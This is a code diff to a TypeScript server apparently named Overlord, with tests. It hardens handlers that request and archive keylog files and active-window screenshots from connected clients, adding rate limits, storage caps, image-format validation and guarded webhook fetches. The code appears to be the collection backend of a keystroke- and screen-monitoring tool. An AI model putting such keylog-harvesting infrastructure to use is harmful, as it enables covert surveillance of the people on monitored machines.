- const files = Array.isArray(payload.files) ? payload.files.map(normalizeMeta).filter(Boolean) as KeylogFileMeta[] : [];
+ if (!consumeArchiveMessageRate(clientId, "list")) {
+ logger.warn(`[keylog-archive] ignored excessive file lists from ${clientId}`);
+ return;
+ }
+ const files = Array.isArray(payload.files)
+ ? payload.files.slice(0, MAX_FILES_PER_LIST).map(normalizeMeta).filter(Boolean) as KeylogFileMeta[]
+ : [];
if (files.length === 0 || !ws) return;
const maxFileBytes = getConfig().inputArchive.maxFileBytes;
const existingRows = db
- .prepare("SELECT filename, size, modified_at as modifiedAt FROM keylog_archive_files WHERE client_id = ?")
- .all(clientId) as Array<{ filename: string; size: number; modifiedAt: number | null }>;
+ .prepare(
+ `SELECT filename, ${KEYLOG_CONTENT_BYTES_SQL} as size, modified_at as modifiedAt
+ FROM keylog_archive_files WHERE client_id = ?
+ ORDER BY retrieved_at DESC LIMIT ?`,
+ )
+ .all(clientId, MAX_ARCHIVE_FILES_PER_CLIENT) as Array<{ filename: string; size: number; modifiedAt: number | null }>;
+ const totals = db.prepare(
+ `SELECT COUNT(*) AS files, COALESCE(SUM(${KEYLOG_CONTENT_BYTES_SQL}), 0) AS bytes
+ FROM keylog_archive_files WHERE client_id = ?`,
+ ).get(clientId) as { files: number; bytes: number };
const existing = new Map(existingRows.map((row) => [row.filename, row]));
- let pending = pendingFileMeta.get(clientId);
- if (!pending) {
- pending = new Map();
- pendingFileMeta.set(clientId, pending);
- }
+ const pending = new Map();
let requested = 0;
+ let projectedFiles = Number(totals.files || 0);
+ let projectedBytes = Number(totals.bytes || 0);
for (const file of files) {
if (file.size > maxFileBytes) continue;
const old = existing.get(file.name);
const changed = !old || old.size !== file.size || (file.modifiedAt !== null && old.modifiedAt !== file.modifiedAt);
if (!changed || requested >= MAX_RETRIEVES_PER_LIST) continue;
+ const nextFiles = projectedFiles + (old ? 0 : 1);
+ const nextBytes = projectedBytes - Number(old?.size || 0) + file.size;
+ if (
+ nextFiles > MAX_ARCHIVE_FILES_PER_CLIENT
+ || nextBytes > MAX_ARCHIVE_BYTES_PER_CLIENT
+ ) continue;
pending.set(file.name, file);
try {
ws.send(encodeMessage({
@@ -129,15 +462,24 @@ export function handleKeylogArchiveMessage(clientId: string, payload: any, ws?:
payload: { filename: file.name },
} as any));
requested++;
+ projectedFiles = nextFiles;
+ projectedBytes = nextBytes;
} catch (err) {
logger.warn(`[keylog-archive] failed to request ${clientId}/${file.name}: ${(err as Error).message}`);
}
}
+ if (pending.size > 0) setPendingFiles(clientId, pending);
+ else pendingFileMeta.delete(clientId);
return;
}
if (payload.type === "keylog_file_content" && typeof payload.filename === "string") {
- archiveKeylogContent(clientId, payload.filename, String(payload.content || ""));
+ if (typeof payload.content !== "string") return;
+ if (!consumeArchiveMessageRate(clientId, "content")) {
+ logger.warn(`[keylog-archive] ignored excessive file content from ${clientId}`);
+ return;
+ }
+ archiveKeylogContent(clientId, payload.filename, payload.content);
}
}
@@ -159,12 +501,14 @@ export function dispatchKeylogArchiveSync(clientId: string, ws: ServerWebSocket<
export function listArchivedKeylogs(clientId: string): Array<{ name: string; size: number; date: string; archived: true; retrievedAt: number }> {
const rows = db
.prepare(
- `SELECT filename, size, modified_at as modifiedAt, retrieved_at as retrievedAt
+ `SELECT filename, ${KEYLOG_CONTENT_BYTES_SQL} as size,
+ modified_at as modifiedAt, retrieved_at as retrievedAt
FROM keylog_archive_files
WHERE client_id = ?
- ORDER BY COALESCE(modified_at, retrieved_at) DESC, filename ASC`,
+ ORDER BY COALESCE(modified_at, retrieved_at) DESC, filename ASC
+ LIMIT ?`,
)
- .all(clientId) as Array<{ filename: string; size: number; modifiedAt: number | null; retrievedAt: number }>;
+ .all(clientId, MAX_ARCHIVE_FILES_PER_CLIENT) as Array<{ filename: string; size: number; modifiedAt: number | null; retrievedAt: number }>;
return rows.map((row) => ({
name: row.filename,
diff --git a/Overlord-Server/src/server/notification-delivery.ts b/Overlord-Server/src/server/notification-delivery.ts
index b549b4b..33fb016 100644
--- a/Overlord-Server/src/server/notification-delivery.ts
+++ b/Overlord-Server/src/server/notification-delivery.ts
@@ -2,7 +2,7 @@ import { v4 as uuidv4 } from "uuid";
import {
getNotificationScreenshot,
saveNotificationScreenshot,
- updateNotificationScreenshotId,
+ MAX_NOTIFICATION_SCREENSHOT_RECORD_BYTES,
getAllPushSubscriptions,
deletePushSubscription,
type NotificationScreenshotRecord,
@@ -10,6 +10,7 @@ import {
} from "../db";
import { logger } from "../logger";
import { sendWebPush } from "./web-push";
+import { fetchPublicHttpResponse } from "./url-security";
export type NotificationRecord = {
id: string;
@@ -58,6 +59,225 @@ export const DEFAULT_TELEGRAM_TEMPLATE =
const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000;
const NOTIFICATION_SCREENSHOT_POLL_MS = 250;
+export const MAX_NOTIFICATION_SCREENSHOT_BYTES = MAX_NOTIFICATION_SCREENSHOT_RECORD_BYTES;
+export const MAX_NOTIFICATION_SCREENSHOT_DIMENSION = 32_768;
+// Keep worst-case browser RGBA decode near 32 MiB per image. Compressed byte
+// limits alone do not protect against solid-color PNG/WebP decompression bombs.
+export const MAX_NOTIFICATION_SCREENSHOT_PIXELS = 512 * 1024 * 1024;
+
+function boundedPositiveIntegerEnv(name: string, fallback: number, maximum: number): number {
+ const parsed = Number(process.env[name]);
+ if (!Number.isFinite(parsed) || parsed <= 0) return fallback;
+ return Math.min(maximum, Math.max(1, Math.floor(parsed)));
+}
+
+export const WEB_PUSH_DELIVERY_CONCURRENCY = boundedPositiveIntegerEnv(
+ "OVERLORD_WEB_PUSH_DELIVERY_CONCURRENCY",
+ 8,
+ 64,
+);
+export const WEB_PUSH_DELIVERY_BATCH_SIZE = boundedPositiveIntegerEnv(
+ "OVERLORD_WEB_PUSH_DELIVERY_BATCH_SIZE",
+ 100,
+ 1_000,
+);
+
+/**
+ * Settle every task while keeping both the active promise count and each
+ * materialized batch bounded. This preserves allSettled-style fan-out without
+ * creating one live promise per stored subscription.
+ */
+export async function settleInBoundedBatches(
+ items: readonly T[],
+ task: (item: T) => Promise,
+ options: {
+ concurrency?: number;
+ batchSize?: number;
+ onError?: (error: unknown, item: T) => void;
+ } = {},
+): Promise {
+ const requestedConcurrency = Number(options.concurrency ?? WEB_PUSH_DELIVERY_CONCURRENCY);
+ const requestedBatchSize = Number(options.batchSize ?? WEB_PUSH_DELIVERY_BATCH_SIZE);
+ const concurrency = Number.isFinite(requestedConcurrency)
+ ? Math.max(1, Math.min(64, Math.floor(requestedConcurrency)))
+ : WEB_PUSH_DELIVERY_CONCURRENCY;
+ const batchSize = Number.isFinite(requestedBatchSize)
+ ? Math.max(1, Math.min(1_000, Math.floor(requestedBatchSize)))
+ : WEB_PUSH_DELIVERY_BATCH_SIZE;
+
+ for (let batchStart = 0; batchStart < items.length; batchStart += batchSize) {
+ const batch = items.slice(batchStart, batchStart + batchSize);
+ let nextIndex = 0;
+ const workers = Array.from(
+ { length: Math.min(concurrency, batch.length) },
+ async () => {
+ while (nextIndex < batch.length) {
+ const item = batch[nextIndex++];
+ try {
+ await task(item);
+ } catch (error) {
+ try {
+ options.onError?.(error, item);
+ } catch {
+ // Delivery remains best-effort even if diagnostic logging fails.
+ }
+ }
+ }
+ },
+ );
+ await Promise.all(workers);
+ }
+}
+
+export type ValidatedNotificationScreenshot = {
+ bytes: Uint8Array;
+ format: "jpeg" | "png" | "webp";
+ width?: number;
+ height?: number;
+};
+
+function normalizeScreenshotDimension(value: unknown): number | undefined {
+ const parsed = Number(value);
+ if (!Number.isSafeInteger(parsed) || parsed <= 0 || parsed > MAX_NOTIFICATION_SCREENSHOT_DIMENSION) {
+ return undefined;
+ }
+ return parsed;
+}
+
+function screenshotDimensionsAllowed(width: number, height: number): boolean {
+ return Number.isInteger(width)
+ && Number.isInteger(height)
+ && width > 0
+ && height > 0
+ && width <= MAX_NOTIFICATION_SCREENSHOT_DIMENSION
+ && height <= MAX_NOTIFICATION_SCREENSHOT_DIMENSION
+ && width * height <= MAX_NOTIFICATION_SCREENSHOT_PIXELS;
+}
+
+function parsePngScreenshot(buf: Buffer): { width: number; height: number } | null {
+ if (buf.length < 45 || !buf.subarray(0, 8).equals(Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]))) return null;
+ let offset = 8;
+ let dimensions: { width: number; height: number } | null = null;
+ let sawData = false;
+ while (offset + 12 <= buf.length) {
+ const length = buf.readUInt32BE(offset);
+ const end = offset + 12 + length;
+ if (end > buf.length) return null;
+ const type = buf.subarray(offset + 4, offset + 8).toString("ascii");
+ if (type === "acTL" || type === "fcTL" || type === "fdAT") return null;
+ if (offset === 8) {
+ if (type !== "IHDR" || length !== 13) return null;
+ dimensions = { width: buf.readUInt32BE(offset + 8), height: buf.readUInt32BE(offset + 12) };
+ } else if (type === "IDAT") {
+ sawData = true;
+ } else if (type === "IEND") {
+ return length === 0 && end === buf.length && sawData ? dimensions : null;
+ }
+ offset = end;
+ }
+ return null;
+}
+
+function parseJpegScreenshot(buf: Buffer): { width: number; height: number } | null {
+ if (buf.length < 16 || buf[0] !== 0xff || buf[1] !== 0xd8 || buf[buf.length - 2] !== 0xff || buf[buf.length - 1] !== 0xd9) return null;
+ let offset = 2;
+ while (offset + 4 <= buf.length - 2) {
+ if (buf[offset] !== 0xff) return null;
+ while (offset < buf.length && buf[offset] === 0xff) offset += 1;
+ const marker = buf[offset++];
+ if (marker === 0xd8 || marker === 0x01 || (marker >= 0xd0 && marker <= 0xd7)) continue;
+ if (offset + 2 > buf.length) return null;
+ const length = buf.readUInt16BE(offset);
+ if (length < 2 || offset + length > buf.length) return null;
+ const isFrame = marker >= 0xc0 && marker <= 0xcf && marker !== 0xc4 && marker !== 0xc8 && marker !== 0xcc;
+ if (isFrame) {
+ if (length < 8) return null;
+ return { width: buf.readUInt16BE(offset + 5), height: buf.readUInt16BE(offset + 3) };
+ }
+ if (marker === 0xda) return null;
+ offset += length;
+ }
+ return null;
+}
+
+function parseWebpScreenshot(buf: Buffer): { width: number; height: number } | null {
+ if (buf.length < 20 || buf.subarray(0, 4).toString("ascii") !== "RIFF" || buf.readUInt32LE(4) + 8 !== buf.length || buf.subarray(8, 12).toString("ascii") !== "WEBP") return null;
+ let offset = 12;
+ let dimensions: { width: number; height: number } | null = null;
+ while (offset + 8 <= buf.length) {
+ const type = buf.subarray(offset, offset + 4).toString("ascii");
+ const length = buf.readUInt32LE(offset + 4);
+ const data = offset + 8;
+ const end = data + length;
+ if (end > buf.length || type === "ANIM" || type === "ANMF") return null;
+ if (type === "VP8 " && length >= 10 && buf[data + 3] === 0x9d && buf[data + 4] === 0x01 && buf[data + 5] === 0x2a) {
+ dimensions ??= { width: buf.readUInt16LE(data + 6) & 0x3fff, height: buf.readUInt16LE(data + 8) & 0x3fff };
+ } else if (type === "VP8L" && length >= 5 && buf[data] === 0x2f) {
+ const packed = buf.readUInt32LE(data + 1);
+ dimensions ??= { width: (packed & 0x3fff) + 1, height: ((packed >>> 14) & 0x3fff) + 1 };
+ } else if (type === "VP8X" && length >= 10) {
+ if ((buf[data] & 0x02) !== 0) return null;
+ dimensions ??= {
+ width: 1 + buf[data + 4] + (buf[data + 5] << 8) + (buf[data + 6] << 16),
+ height: 1 + buf[data + 7] + (buf[data + 8] << 8) + (buf[data + 9] << 16),
+ };
+ }
+ offset = end + (length % 2);
+ }
+ return offset === buf.length ? dimensions : null;
+}
+
+export function validateNotificationScreenshotPayload(
+ payload: any,
+): ValidatedNotificationScreenshot | null {
+ let bytes: Uint8Array | null = null;
+ if (payload?.data instanceof Uint8Array) {
+ bytes = new Uint8Array(
+ payload.data.buffer,
+ payload.data.byteOffset,
+ payload.data.byteLength,
+ );
+ } else if (payload?.data instanceof ArrayBuffer) {
+ bytes = new Uint8Array(payload.data);
+ } else if (ArrayBuffer.isView(payload?.data)) {
+ bytes = new Uint8Array(
+ payload.data.buffer,
+ payload.data.byteOffset,
+ payload.data.byteLength,
+ );
+ }
+
+ if (!bytes || bytes.byteLength === 0 || bytes.byteLength > MAX_NOTIFICATION_SCREENSHOT_BYTES) {
+ return null;
+ }
+
+ const rawFormat = typeof payload?.format === "string" ? payload.format.toLowerCase() : "jpeg";
+ const format = rawFormat === "jpg" ? "jpeg" : rawFormat;
+ if (format !== "jpeg" && format !== "png" && format !== "webp") {
+ return null;
+ }
+
+ const buf = Buffer.from(bytes.buffer, bytes.byteOffset, bytes.byteLength);
+ const dimensions = format === "png"
+ ? parsePngScreenshot(buf)
+ : format === "webp"
+ ? parseWebpScreenshot(buf)
+ : parseJpegScreenshot(buf);
+ if (!dimensions || !screenshotDimensionsAllowed(dimensions.width, dimensions.height)) return null;
+ const reportedWidth = normalizeScreenshotDimension(payload?.width);
+ const reportedHeight = normalizeScreenshotDimension(payload?.height);
+ if (
+ (payload?.width !== undefined && reportedWidth !== dimensions.width)
+ || (payload?.height !== undefined && reportedHeight !== dimensions.height)
+ ) return null;
+
+ return {
+ bytes,
+ format,
+ width: dimensions.width,
+ height: dimensions.height,
+ };
+}
export function isPrivateOrInternalHostname(hostname: string): boolean {
const h = hostname.toLowerCase();
@@ -156,21 +376,25 @@ export function storeNotificationScreenshot(
width?: number,
height?: number,
): void {
- if (!bytes || bytes.length === 0) return;
+ const validated = validateNotificationScreenshotPayload({ data: bytes, format, width, height });
+ if (!validated) return;
const screenshotId = uuidv4();
- saveNotificationScreenshot({
+ const saved = saveNotificationScreenshot({
id: screenshotId,
notificationId: pending.notificationId,
clientId: pending.clientId,
ts: pending.ts,
- format,
- width,
- height,
- bytes,
+ format: validated.format,
+ width: validated.width,
+ height: validated.height,
+ bytes: validated.bytes,
});
-
- updateNotificationScreenshotId(pending.notificationId, screenshotId);
+ if (!saved) {
+ logger.warn(
+ `[notify] screenshot was not stored due to a missing notification, duplicate result, or storage quota notification=${pending.notificationId}`,
+ );
+ }
}
async function deliverToUserWebhook(
@@ -190,12 +414,6 @@ async function deliverToUserWebhook(
return;
}
- const hostname = parsed.hostname.toLowerCase();
- if (isPrivateOrInternalHostname(hostname)) {
- logger.warn(`[notify] blocked webhook to private/internal address: ${hostname}`);
- return;
- }
-
try {
const isDiscord = /discord(app)?\.com$/i.test(parsed.hostname);
if (isDiscord) {
@@ -227,11 +445,11 @@ async function deliverToUserWebhook(
new Blob([screenshot.bytes as any], { type: meta.contentType }),
filename,
);
- await fetch(url, { method: "POST", body: form });
+ await fetchPublicHttpResponse(url, { method: "POST", body: form });
return;
}
- await fetch(url, {
+ await fetchPublicHttpResponse(url, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(payload),
@@ -240,7 +458,7 @@ async function deliverToUserWebhook(
}
const body = buildWebhookBody(target, record);
- await fetch(url, {
+ await fetchPublicHttpResponse(url, {
method: "POST",
headers: { "Content-Type": "application/json" },
body,
@@ -345,21 +563,26 @@ async function deliverWebPushToAll(
url: "/notifications",
});
- await Promise.allSettled(
- subs
- .filter((sub) => allowedUserIds.has(sub.userId))
- .map(async (sub) => {
- const result = await sendWebPush(
- { endpoint: sub.endpoint, keys: { p256dh: sub.p256dh, auth: sub.auth } },
- payload,
- );
- if (result.gone) {
- deletePushSubscription(sub.endpoint);
- logger.info(`[web-push] removed gone subscription for user ${sub.userId}`);
- } else if (!result.success) {
- logger.warn(`[web-push] delivery failed for user ${sub.userId}: ${result.error}`);
- }
- }),
+ const eligibleSubscriptions = subs.filter((sub) => allowedUserIds.has(sub.userId));
+ await settleInBoundedBatches(
+ eligibleSubscriptions,
+ async (sub) => {
+ const result = await sendWebPush(
+ { endpoint: sub.endpoint, keys: { p256dh: sub.p256dh, auth: sub.auth } },
+ payload,
+ );
+ if (result.gone) {
+ deletePushSubscription(sub.endpoint);
+ logger.info(`[web-push] removed gone subscription for user ${sub.userId}`);
+ } else if (!result.success) {
+ logger.warn(`[web-push] delivery failed for user ${sub.userId}: ${result.error}`);
+ }
+ },
+ {
+ onError: (error, sub) => {
+ logger.warn(`[web-push] delivery threw for user ${sub.userId}`, error);
+ },
+ },
);
}
@@ -398,8 +621,9 @@ export async function deliverWebPushClientEvent(
url: dest,
});
- await Promise.allSettled(
- subs.map(async (sub) => {
+ await settleInBoundedBatches(
+ subs,
+ async (sub) => {
const role = getUserRole(sub.userId);
if (!role) return;
if (isClientEventPushEnabled && !isClientEventPushEnabled(sub.userId)) return;
@@ -423,7 +647,12 @@ export async function deliverWebPushClientEvent(
if (result.gone) {
deletePushSubscription(sub.endpoint);
}
- }),
+ },
+ {
+ onError: (error, sub) => {
+ logger.warn(`[web-push] client-event delivery threw for user ${sub.userId}`, error);
+ },
+ },
);
}
@@ -434,7 +663,15 @@ export async function deliverNotificationWithScreenshot(
const screenshot = await waitForNotificationScreenshot(record.id);
const targets = getUserDeliveryTargets(record.clientId);
await Promise.allSettled([
- ...targets.map((t) => deliverToUser(t, record, screenshot)),
+ settleInBoundedBatches(
+ targets,
+ async (target) => deliverToUser(target, record, screenshot),
+ {
+ onError: (error, target) => {
+ logger.warn(`[notify] delivery threw for user ${target.username}`, error);
+ },
+ },
+ ),
deliverWebPushToAll(record, getUserDeliveryTargets),
]);
}
@@ -470,8 +707,9 @@ export async function deliverClientEventToExternalChannels(
const label = CLIENT_EVENT_LABELS[event] || "Client Event";
const ts = Date.now();
- await Promise.allSettled(
- targets.map(async (target) => {
+ await settleInBoundedBatches(
+ targets,
+ async (target) => {
if (target.webhookEnabled && target.clientEventWebhook && target.webhookUrl) {
const url = target.webhookUrl.trim();
if (!url) return;
@@ -501,13 +739,13 @@ export async function deliverClientEventToExternalChannels(
timestamp: new Date(ts).toISOString(),
};
const payload = { content: label, embeds: [embed] };
- await fetch(url, {
+ await fetchPublicHttpResponse(url, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(payload),
});
} else {
- await fetch(url, {
+ await fetchPublicHttpResponse(url, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
@@ -553,7 +791,12 @@ export async function deliverClientEventToExternalChannels(
}
}
}
- }),
+ },
+ {
+ onError: (error, target) => {
+ logger.warn(`[notify] client event delivery threw for user ${target.username}`, error);
+ },
+ },
);
}
diff --git a/Overlord-Server/src/server/notification-security.test.ts b/Overlord-Server/src/server/notification-security.test.ts
new file mode 100644
index 0000000..1c6f992
--- /dev/null
+++ b/Overlord-Server/src/server/notification-security.test.ts
@@ -0,0 +1,406 @@
+import { describe, expect, test } from "bun:test";
+import {
+ MAX_NOTIFICATION_SCREENSHOT_BYTES,
+ validateNotificationScreenshotPayload,
+} from "./notification-delivery";
+import {
+ MAX_BUFFERED_PLUGIN_EVENT_BYTES_GLOBAL,
+ MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_CLIENT,
+ MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_KEY,
+ MAX_PLUGIN_EVENT_PAYLOAD_BYTES,
+ MAX_PLUGIN_EVENTS_PER_KEY_PER_MINUTE,
+ MAX_PENDING_NOTIFICATION_SCREENSHOTS,
+ createNotificationPluginHandlers,
+ hasPendingNotificationScreenshotCapacity,
+ hasPluginUIEventBufferCapacity,
+ isPlausibleChatAttachmentEventPayload,
+ normalizeClientNotificationPayload,
+ type PendingNotificationScreenshot,
+} from "./ws-notifications-plugin";
+
+function createPluginEventHarness(enabledPluginIds = ["sample", "chat"]) {
+ const pluginLoadedByClient = new Map>();
+ const pluginLoadingByClient = new Map>();
+ const forwarded: Array<{ clientId: string; pluginId: string; event: string; payload: unknown }> = [];
+ const pluginState = {
+ enabled: Object.fromEntries(enabledPluginIds.map((id) => [id, true])),
+ lastError: {} as Record,
+ };
+ let saveCount = 0;
+ const handlers = createNotificationPluginHandlers({
+ notificationRate: new Map(),
+ pendingNotificationScreenshots: new Map(),
+ pluginLoadedByClient,
+ pluginLoadingByClient,
+ pendingPluginEvents: new Map(),
+ pluginState,
+ getNotificationConfig: () => ({}),
+ canUserAccessClient: () => false,
+ isClientOwnedByUser: () => false,
+ getUserRole: () => undefined,
+ isClientNotificationsMuted: () => false,
+ storeNotificationScreenshot: () => {},
+ deliverNotificationWithScreenshot: async () => {},
+ getDeliveryTargetsForClientEvent: () => [],
+ savePluginState: async () => { saveCount += 1; },
+ forwardPluginEventToRuntime: (clientId, pluginId, event, payload) => {
+ forwarded.push({ clientId, pluginId, event, payload });
+ },
+ });
+ return {
+ handlers,
+ forwarded,
+ pluginLoadedByClient,
+ pluginLoadingByClient,
+ pluginState,
+ getSaveCount: () => saveCount,
+ };
+}
+
+describe("client notification input hardening", () => {
+ test("bounds and normalizes untrusted notification fields", () => {
+ const normalized = normalizeClientNotificationPayload({
+ title: ` hello\n${"x".repeat(600)} `,
+ keyword: "k".repeat(200),
+ process: "p".repeat(400),
+ processPath: "z".repeat(3_000),
+ pid: -1,
+ category: "unexpected",
+ ts: Number.MAX_SAFE_INTEGER,
+ });
+
+ expect(normalized).not.toBeNull();
+ expect(normalized!.title.length).toBe(512);
+ expect(normalized!.title.includes("\n")).toBe(false);
+ expect(normalized!.keyword?.length).toBe(128);
+ expect(normalized!.process?.length).toBe(256);
+ expect(normalized!.processPath?.length).toBe(2_048);
+ expect(normalized!.pid).toBeUndefined();
+ expect(normalized!.category).toBe("active_window");
+ expect(normalized as any).not.toHaveProperty("ts");
+ });
+
+ test("rejects empty titles", () => {
+ expect(normalizeClientNotificationPayload({ title: "\u0000\n" })).toBeNull();
+ });
+});
+
+describe("notification screenshot input hardening", () => {
+ test("accepts supported bounded images and preserves typed-array bounds", () => {
+ const jpeg = new Uint8Array([
+ 0xff, 0xd8,
+ 0xff, 0xc0, 0x00, 0x0b, 0x08, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x11, 0x00,
+ 0xff, 0xd9,
+ ]);
+ const backing = new Uint8Array(jpeg.length + 2);
+ backing.set(jpeg, 1);
+ const validated = validateNotificationScreenshotPayload({
+ data: backing.subarray(1, 1 + jpeg.length),
+ format: "JPG",
+ width: 1,
+ height: 1,
+ });
+
+ expect(validated?.format).toBe("jpeg");
+ expect(Array.from(validated?.bytes ?? [])).toEqual(Array.from(jpeg));
+ expect(validated?.width).toBe(1);
+ expect(validated?.height).toBe(1);
+ });
+
+ test("rejects oversized or unsupported screenshot payloads", () => {
+ expect(
+ validateNotificationScreenshotPayload({
+ data: new Uint8Array(MAX_NOTIFICATION_SCREENSHOT_BYTES + 1),
+ format: "jpeg",
+ }),
+ ).toBeNull();
+ expect(
+ validateNotificationScreenshotPayload({ data: new Uint8Array([1]), format: "svg" }),
+ ).toBeNull();
+ expect(
+ validateNotificationScreenshotPayload({ data: new Uint8Array([1, 2, 3]), format: "jpeg" }),
+ ).toBeNull();
+ });
+
+ test("rejects tiny compressed images with unsafe decoded dimensions", () => {
+ const png = Buffer.alloc(57);
+ Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]).copy(png, 0);
+ png.writeUInt32BE(13, 8);
+ png.write("IHDR", 12, "ascii");
+ png.writeUInt32BE(32_768, 16);
+ png.writeUInt32BE(32_768, 20);
+ png.writeUInt32BE(0, 33);
+ png.write("IDAT", 37, "ascii");
+ png.writeUInt32BE(0, 45);
+ png.write("IEND", 49, "ascii");
+
+ expect(validateNotificationScreenshotPayload({ data: png, format: "png" })).toBeNull();
+ });
+
+ test("rejects animated PNG envelopes", () => {
+ const png = Buffer.alloc(57);
+ Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]).copy(png, 0);
+ png.writeUInt32BE(13, 8);
+ png.write("IHDR", 12, "ascii");
+ png.writeUInt32BE(1, 16);
+ png.writeUInt32BE(1, 20);
+ png.writeUInt32BE(0, 33);
+ png.write("IDAT", 37, "ascii");
+ png.writeUInt32BE(0, 45);
+ png.write("IEND", 49, "ascii");
+ const animationControl = Buffer.alloc(20);
+ animationControl.writeUInt32BE(8, 0);
+ animationControl.write("acTL", 4, "ascii");
+ animationControl.writeUInt32BE(2, 8);
+ const apng = Buffer.concat([png.subarray(0, 33), animationControl, png.subarray(33)]);
+
+ expect(validateNotificationScreenshotPayload({ data: apng, format: "png" })).toBeNull();
+ });
+
+ test("bounds pending screenshot requests globally and per client", () => {
+ const now = Date.now();
+ const sharedTimeout = setTimeout(() => {}, 60_000);
+ const pending = new Map();
+ try {
+ for (let i = 0; i < 2; i += 1) {
+ pending.set(`same-client-${i}`, {
+ notificationId: `notification-${i}`,
+ clientId: "client-a",
+ ts: now,
+ timeout: sharedTimeout,
+ });
+ }
+ expect(hasPendingNotificationScreenshotCapacity(pending, "client-a", now)).toBe(false);
+ expect(hasPendingNotificationScreenshotCapacity(pending, "client-b", now)).toBe(true);
+
+ pending.clear();
+ for (let i = 0; i < MAX_PENDING_NOTIFICATION_SCREENSHOTS; i += 1) {
+ pending.set(`global-${i}`, {
+ notificationId: `notification-${i}`,
+ clientId: `client-${i}`,
+ ts: now,
+ timeout: sharedTimeout,
+ });
+ }
+ expect(hasPendingNotificationScreenshotCapacity(pending, "new-client", now)).toBe(false);
+ } finally {
+ clearTimeout(sharedTimeout);
+ }
+ });
+
+ test("prunes expired pending screenshot requests before applying caps", () => {
+ const now = Date.now();
+ const timeout = setTimeout(() => {}, 60_000);
+ const pending = new Map([[
+ "expired",
+ {
+ notificationId: "old-notification",
+ clientId: "client-a",
+ ts: now - 31_000,
+ timeout,
+ },
+ ]]);
+
+ expect(hasPendingNotificationScreenshotCapacity(pending, "client-a", now)).toBe(true);
+ expect(pending.size).toBe(0);
+ clearTimeout(timeout);
+ });
+});
+
+describe("legacy client plugin event compatibility", () => {
+ test("accepts plugin lifecycle and ordinary events without server-side trust state", () => {
+ const harness = createPluginEventHarness([]);
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "sample-c",
+ event: "ready",
+ payload: { ready: true },
+ });
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "sample-c",
+ event: "loaded",
+ });
+
+ expect(harness.forwarded.map((entry) => entry.event)).toEqual(["ready", "loaded"]);
+ expect(harness.pluginLoadedByClient.get("client-a")?.has("sample-c")).toBe(true);
+ });
+});
+
+// Retained as executable documentation of the stricter policy that was
+// deliberately reversed because it broke established third-party plugins.
+/*
+describe("replaced client plugin event hardening", () => {
+ test("only accepts loaded acknowledgements for server-initiated plugin loads", () => {
+ const harness = createPluginEventHarness();
+
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "sample",
+ event: "loaded",
+ });
+ expect(harness.pluginLoadedByClient.get("client-a")).toBeUndefined();
+ expect(harness.forwarded).toHaveLength(0);
+
+ harness.handlers.markPluginLoading("client-a", "sample");
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "sample",
+ event: "ready",
+ payload: { ready: true },
+ });
+ expect(harness.forwarded.map((entry) => entry.event)).toEqual(["ready"]);
+
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "sample",
+ event: "loaded",
+ });
+ expect(harness.pluginLoadedByClient.get("client-a")?.has("sample")).toBe(true);
+ expect(harness.pluginLoadingByClient.get("client-a")?.has("sample")).toBe(false);
+ expect(harness.forwarded.map((entry) => entry.event)).toEqual(["ready", "loaded"]);
+
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "sample",
+ event: "loaded",
+ });
+ expect(harness.forwarded.map((entry) => entry.event)).toEqual(["ready", "loaded"]);
+ });
+
+ test("rejects ordinary events until loaded but permits a load failure", () => {
+ const harness = createPluginEventHarness();
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "sample",
+ event: "pong",
+ payload: { ok: true },
+ });
+ expect(harness.forwarded).toHaveLength(0);
+
+ harness.handlers.markPluginLoading("client-a", "sample");
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "sample",
+ event: "error",
+ error: "load failed",
+ });
+ expect(harness.forwarded.map((entry) => entry.event)).toEqual(["error"]);
+ expect(harness.pluginLoadingByClient.get("client-a")?.has("sample")).toBe(false);
+ expect(harness.pluginState.lastError.sample).toBe("load failed");
+ expect(harness.getSaveCount()).toBe(1);
+ });
+
+ test("ordinary plugin messages cannot mutate or persist error state", () => {
+ const harness = createPluginEventHarness();
+ harness.pluginLoadedByClient.set("client-a", new Set(["sample"]));
+
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "sample",
+ event: "pong",
+ message: "pretend failure",
+ payload: { ok: true },
+ });
+
+ expect(harness.forwarded.map((entry) => entry.event)).toEqual(["pong"]);
+ expect(harness.pluginState.lastError.sample).toBeUndefined();
+ expect(harness.getSaveCount()).toBe(0);
+ });
+
+ test("coalesces repeated changed error state writes from a loaded client", () => {
+ const harness = createPluginEventHarness();
+ harness.pluginLoadedByClient.set("client-a", new Set(["sample"]));
+
+ for (const message of ["failure one", "failure two", "failure three"]) {
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "sample",
+ event: "error",
+ message,
+ });
+ }
+
+ expect(harness.pluginState.lastError.sample).toBe("failure three");
+ expect(harness.getSaveCount()).toBe(1);
+ });
+
+ test("uses a small default payload limit with a narrow chat attachment exception", () => {
+ const harness = createPluginEventHarness();
+ harness.pluginLoadedByClient.set("client-a", new Set(["sample", "chat"]));
+ const aboveDefault = {
+ name: "image.png",
+ mime: "image/png",
+ dataB64: "A".repeat(MAX_PLUGIN_EVENT_PAYLOAD_BYTES + 4),
+ };
+
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "sample",
+ event: "echo",
+ payload: aboveDefault,
+ });
+ expect(harness.forwarded).toHaveLength(0);
+
+ harness.handlers.handlePluginEvent("client-a", {
+ pluginId: "chat",
+ event: "chat_attachment",
+ payload: aboveDefault,
+ });
